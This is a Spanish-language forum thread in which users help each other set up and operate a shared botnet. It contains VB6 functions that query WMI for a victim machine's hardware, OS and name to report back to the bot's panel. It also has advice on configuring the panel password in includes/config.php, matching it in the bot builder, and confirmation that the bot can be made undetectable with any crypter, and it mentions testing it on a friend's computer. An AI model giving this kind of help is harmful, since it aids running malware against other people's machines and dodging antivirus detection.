Blau escribió:Por si te sirve:

Mostrar/Ocultar

Código: Seleccionar todo

Private Function GetPC() As String
    Dim msg As String
    msg = ""
    Dim List, objWMIService As Object, colItems, objItem
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_BaseBoard", , 48)
    For Each objItem In colItems
        msg = objItem.Manufacturer
        msg = msg & " " & objItem.Product
    Next
    GetPC = msg
End Function

Private Function GetOS()
    Dim List, msg, object
    Set List = GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_OperatingSystem")
    If List.Count > 0 Then
        For Each object In List
            msg = msg & object.Caption
            msg = msg & " " & object.Version
            msg = msg & " [Build: " & object.buildnumber & "]"
        Next
    Else
        msg = ""
    End If
    GetOS = msg
End Function
         
Private Function GetMachineName()
    Dim List, msg, object
    Set List = GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_OperatingSystem")
    If List.Count > 0 Then
        For Each object In List
            msg = msg & object.CSName
        Next
    Else
        msg = ""
    End If
    GetMachineName = msg
End Function

Private Function GetRAM()
    Dim List, msg, object
    Dim RAM As Double
    Set List = GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_PhysicalMemory")
    If List.Count > 0 Then
        For Each object In List
            RAM = (RAM + object.Capacity)
        Next
    Else
        RAM = ""
    End If
    GetRAM = ((RAM / 1024) / 1024) & " MB"
End Function

Private Function GetProcessor()
    Dim List, msg, object
    Set List = GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_Processor")
    If List.Count > 0 Then
        For Each object In List
            msg = msg & object.Name
        Next
    Else
        msg = ""
    End If
    GetProcessor = msg
End Function

Private Function GetTotalSpace()
    Dim List, object
    Dim total As Double
    Set List = GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_DiskPartition")
    If List.Count > 0 Then
        For Each object In List
            If object.Type = "Installable File System" Then
                total = total + (((object.Size / 1024) / 1024) / 1024)
            End If
        Next object
    Else
        total = 0
    End If
    GetTotalSpace = FormatNumber(total, 2) & " GB"
End Function

Private Function GetGPU()
    Dim List, msg, object
    Set List = GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_VideoController")
    If List.Count > 0 Then
        For Each object In List
            If LenB(object.VideoProcessor) > 0 Then
                msg = msg & object.Caption
            End If
        Next
    Else
        msg = ""
    End If
    GetGPU = msg
End Function

Yo me estoy iniciando en el mundo de las botnets, aunque no sea un máquina en VB6 si te puedo ayudar en algo avisa.

behrooz escribió:Disculpar, cual es el archivo exacto para modificar el user y pass del panel?

Gracias.

Blau escribió:includes/config.php

debes cifrar la contraseña con sha-1.

Blau escribió:Sé exactamente cómo funciona, quise decir que debe cifrar la contraseña que él quiera en SHA-1 para meterla en config.php.

behrooz escribió:

Blau escribió:Sé exactamente cómo funciona, quise decir que debe cifrar la contraseña que él quiera en SHA-1 para meterla en config.php.

Yo lo entendi :-)

Probre la botnet con un amigo y el servidor se ejecuta correctamente pero no aparece la conexión en la web.

¿Sabéis a que puede deberse?

$botpassword    = 'AQUÍ LA CONTRASEÑA QUE LUEGO PONDRÁS EN EL BUILDER'; //Bot password

Blau escribió:

behrooz escribió:

Blau escribió:Sé exactamente cómo funciona, quise decir que debe cifrar la contraseña que él quiera en SHA-1 para meterla en config.php.

Yo lo entendi :-)

Probre la botnet con un amigo y el servidor se ejecuta correctamente pero no aparece la conexión en la web.

¿Sabéis a que puede deberse?

En builder debes poner una contraseña y debe ser la misma que has puesto en config.php

Código: Seleccionar todo

$botpassword    = 'AQUÍ LA CONTRASEÑA QUE LUEGO PONDRÁS EN EL BUILDER'; //Bot password

behrooz escribió: Se puede fudear con cualquier crypter, cierto?

strup escribió:

behrooz escribió:

si xDDD

behrooz escribió:

strup escribió:

behrooz escribió:

si xDDD

Gracias, lo único que he notado es que la memoria RAM me pone 2GB y yo tengo 8GB, pero de resto va genial, rápido y sencillo.

Gracias por compartir.

viti1276 escribió:gracias por gran aporte tengo windows 8 64 bit el error que me da es pidiendo este file CO3CF5-1.0COX osera que no es para windows 8